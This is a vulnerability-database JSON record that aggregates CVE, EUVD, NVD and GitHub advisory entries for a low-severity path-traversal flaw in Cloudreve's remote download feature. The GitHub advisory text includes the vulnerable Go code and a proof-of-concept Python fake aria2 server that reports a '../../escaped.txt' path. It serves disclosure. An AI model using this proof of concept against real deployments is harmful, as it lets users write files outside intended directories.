{"id":"GO-2026-6289","revision":null,"records":[{"revision":"f94481ef691a4849b87044755f20d96b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-101051","aliases":[],"title":"Cloudreve before 4.16.1 Path Traversal via Remote Download","description":"Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.","state":0,"publishedAt":"2026-09-27T17:02:37.358+00:00","modifiedAt":"2026-09-28T14:06:18.432+00:00","affected":[{"ecosystem":"Vendor product","name":"cloudreve","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"cloudreve\",\n                    \"product\": \"cloudreve\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/cloudreve/Cloudreve/v4\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"4.16.1\"\n                        },\n                        {\n                            \"version\": \"4.16.1\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":2.3,"severity":"LOW"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","score":3.1,"severity":"LOW"}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59","https://www.vulncheck.com/advisories/cloudreve-before-4.16.1-path-traversal-via-remote-download"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-101051","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-101051","identifiers":["CVE-2026-101051"]},"retained":false,"historicalAffected":[]},{"revision":"0f00e61f8c4b40f98a8158110680e2e5","observedAt":"2026-11-11T05:27:55.971+00:00","statement":{"source":"euvd","id":"EUVD-2026-87980","aliases":["CVE-2026-101051","GHSA-wv98-qffc-cvmj"],"title":"Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloa…","description":"Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":2.3,"severity":null}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59","https://www.vulncheck.com/advisories/cloudreve-before-4.16.1-path-traversal-via-remote-download"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-87980","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 27, 2026, 5:02:37 PM","dateUpdated":"Sep 28, 2026, 2:06:18 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-87980","identifiers":["EUVD-2026-87980","CVE-2026-101051","GHSA-wv98-qffc-cvmj"]},"retained":false,"historicalAffected":[]},{"revision":"c3a07780bbe54cbe9f8a2bdef566b6a8","observedAt":"2026-10-25T04:17:26.915+00:00","statement":{"source":"nvd","id":"CVE-2026-101051","aliases":[],"title":"Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloa…","description":"Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.","state":0,"publishedAt":"2026-09-27T18:16:31.51+00:00","modifiedAt":"2026-09-28T15:17:12.1+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":2.3,"severity":"LOW"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","score":3.1,"severity":"LOW"}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59","https://www.vulncheck.com/advisories/cloudreve-before-4.16.1-path-traversal-via-remote-download"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101051","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-09-27T18:16:31.510","lastModified":"2026-09-28T15:17:12.100"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-101051","identifiers":["CVE-2026-101051"]},"retained":false,"historicalAffected":[]},{"revision":"ea9cf2aab1fb4e82bb5b2a2da72b87d6","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-w8j7-39hp-8x59","aliases":["CVE-2026-101051","GO-2026-6289"],"title":"Cloudreve's remote download file paths can escape the selected destination directory","description":"### Summary\n\nCloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory.\n\n### Details\n\nIn the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:436-438\nsanitizedName := sanitizeFileName(file.Name)\ndst := dstUri.JoinRaw(sanitizedName)\nsrc := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))\n```\n\nThe same issue also exists when constructing slave upload payloads.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:323-327\ndst := dstUri.JoinRaw(sanitizeFileName(f.Name))\nsrc := path.Join(m.state.Status.SavePath, f.Name)\npayload.Files = append(payload.Files, SlaveUploadEntity{\n\tSrc:   src,\n\tUri:   dst,\n```\n\nThe sanitizer does not remove `/`, `.`, or `..` path segments.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:648-650\nfunc sanitizeFileName(name string) string {\n\tr := strings.NewReplacer(\"\\\\\", \"_\", \":\", \"_\", \"*\", \"_\", \"?\", \"_\", \"\\\"\", \"_\", \"<\", \"_\", \">\", \"_\", \"|\", \"_\")\n\treturn r.Replace(name)\n}\n```\n\n`JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path.\n\n```go\n// pkg/filemanager/fs/uri.go:173-175\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n```\n\nFor aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`.\n\n```go\n// pkg/downloader/aria2/aria2.go:148-159\nrelPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)\nif len(relPath) > 0 {\n\trelPath = relPath[1:]\n}\nreturn downloader.TaskFile{\n\tIndex:    index,\n\tName:     relPath,\n```\n\nTherefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt`\n\nThe issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.\n\n### PoC\n\nThe PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.\n\nSetup:\n\n```text\nCloudreve official Docker image\nPostgreSQL\nRedis\nFake aria2 JSON-RPC service\n```\n\nConfigure the master node in the Cloudreve admin UI:\n\n```text\nRemote download capability: enabled\nDownloader provider: aria2\naria2 RPC server: http://fake-aria2:6800/jsonrpc\naria2 token: empty\n```\n\nCreate this folder structure in the file manager:\n\n```text\nMy files /\n  victim /\n    safe /\n```\n\nCreate a remote download task using any URL in the `victim/safe` directory, for example:\n\n```text\nhttp://attacker.invalid/file\n```\n\nThe fake aria2 service returns:\n\n```text\nfiles[0].path = <saveDir>/../../escaped.txt\n```\n\nExpected result after the remote download task completes:\n\n```text\ncloudreve://my/escaped.txt exists\n```\n\nThis demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.\n\n### Impact\n\nIf a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.\n\nThis affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.\n\n### Appendix: fake_aria2.py\n\n```python\nimport json\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nGID = \"0123456789abcdef\"\nCONTENT = b\"created outside the selected Cloudreve destination\\n\"\nsave_dir = \"/cloudreve/data/temp/aria2/poc-final\"\n\n\ndef write_source_file():\n    source = os.path.normpath(os.path.join(save_dir, \"..\", \"..\", \"escaped.txt\"))\n    os.makedirs(os.path.dirname(source), exist_ok=True)\n    with open(source, \"wb\") as f:\n        f.write(CONTENT)\n    print(f\"fake aria2 source file: {source}\", flush=True)\n\n\ndef response(rpc_id, result):\n    return json.dumps({\"jsonrpc\": \"2.0\", \"id\": rpc_id, \"result\": result}).encode()\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        global save_dir\n\n        raw = self.rfile.read(int(self.headers.get(\"Content-Length\", \"0\")))\n        req = json.loads(raw or b\"{}\")\n        method = req.get(\"method\")\n        rpc_id = req.get(\"id\")\n\n        if method == \"aria2.addUri\":\n            for item in req.get(\"params\", []):\n                if isinstance(item, dict) and item.get(\"dir\"):\n                    save_dir = item[\"dir\"]\n                    break\n            write_source_file()\n            result = GID\n        elif method == \"aria2.tellStatus\":\n            result = {\n                \"gid\": GID,\n                \"status\": \"complete\",\n                \"totalLength\": str(len(CONTENT)),\n                \"completedLength\": str(len(CONTENT)),\n                \"uploadLength\": \"0\",\n                \"downloadSpeed\": \"0\",\n                \"uploadSpeed\": \"0\",\n                \"infoHash\": \"\",\n                \"numPieces\": \"1\",\n                \"dir\": save_dir,\n                \"files\": [\n                    {\n                        \"index\": \"1\",\n                        \"path\": f\"{save_dir}/../../escaped.txt\",\n                        \"length\": str(len(CONTENT)),\n                        \"completedLength\": str(len(CONTENT)),\n                        \"selected\": \"true\",\n                        \"uris\": [],\n                    }\n                ],\n                \"bittorrent\": {\"mode\": \"single\", \"info\": {\"name\": \"poc-final\"}},\n            }\n        elif method == \"aria2.getVersion\":\n            result = {\"version\": \"fake-poc-final\", \"enabledFeatures\": []}\n        else:\n            result = \"OK\"\n\n        body = response(rpc_id, result)\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        return\n\n\nif __name__ == \"__main__\":\n    print(\"fake aria2 JSON-RPC listening on :6800\", flush=True)\n    HTTPServer((\"0.0.0.0\", 6800), Handler).serve_forever()\n```","state":0,"publishedAt":"2026-08-24T22:03:33+00:00","modifiedAt":"2026-09-28T03:55:54.3801993+00:00","affected":[{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"4.0.0-20260606032813-26b6b1044b02"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59","https://github.com/cloudreve/cloudreve"],"sourceUrl":"https://github.com/advisories/GHSA-w8j7-39hp-8x59","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-w8j7-39hp-8x59","identifiers":["GHSA-w8j7-39hp-8x59","CVE-2026-101051","GO-2026-6289"]},"retained":false,"historicalAffected":[]},{"revision":"059e23abee814009a83fbea344cc19a0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6289","aliases":["CVE-2026-101051","GHSA-w8j7-39hp-8x59"],"title":"Cloudreve's remote download file paths can escape the selected destination directory in github.com/cloudreve/Cloudreve","description":"Cloudreve's remote download file paths can escape the selected destination directory in github.com/cloudreve/Cloudreve","state":0,"publishedAt":"2026-08-25T19:43:10+00:00","modifiedAt":"2026-09-28T03:55:54.3801993+00:00","affected":[{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6289","license":"OSV · upstream source license applies","key":"osv:GO-2026-6289","identifiers":["GO-2026-6289","CVE-2026-101051","GHSA-w8j7-39hp-8x59"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T08:55:39.4193399+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T08:55:39.4193399+00:00","lastSuccessAt":"2026-11-12T08:55:39.5669336+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:39.5669352+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-cdca8464672f7a6b0a4c4e58984a9b57c5e15d71ae2ddc7e2ff782639942ab38","complete":true,"records":424631,"lastAttemptAt":"2026-11-12T08:53:35.355196+00:00","lastSuccessAt":"2026-11-12T08:53:35.3149634+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:53:35.355196+00:00","snapshotPublishedAt":"2026-11-12T08:30:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-570328139368428ca550af1570d01579","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T08:56:06.8263277+00:00","lastSuccessAt":"2026-11-12T06:55:06.923+00:00","error":null,"lastVerifiedAt":"2026-11-12T06:55:06.923+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T08:55:39.4193399+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T08:55:39.4193399+00:00","lastSuccessAt":"2026-11-12T08:55:39.5676932+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:39.5676956+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-723ec20d092d41278189b87b8cbcf51e","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T08:56:05.5820299+00:00","lastSuccessAt":"2026-11-12T08:56:05.578+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:56:05.578+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13313,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T08:55:35.2753592+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:35.2753592+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T08:53:35.4094441+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:53:35.4094441+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-44cd3a7b61439dd4e0dd867616b5261e169a9e59821f22444c84d86fd81b6f2e","complete":true,"records":3106,"lastAttemptAt":"2026-11-12T08:55:39.3774946+00:00","lastSuccessAt":"2026-11-12T08:55:39.2342768+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:39.3774946+00:00","snapshotPublishedAt":"2026-11-12T08:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-c924bd892f7cff2008ba8f06b2d1a456e8a821e4c475408ea0c699c9c1fbf82c","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T08:55:35.1386298+00:00","lastSuccessAt":"2026-11-12T08:55:33.6769659+00:00","error":null,"lastVerifiedAt":"2026-11-12T08:55:35.1386298+00:00","snapshotPublishedAt":"2026-11-12T08:33:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}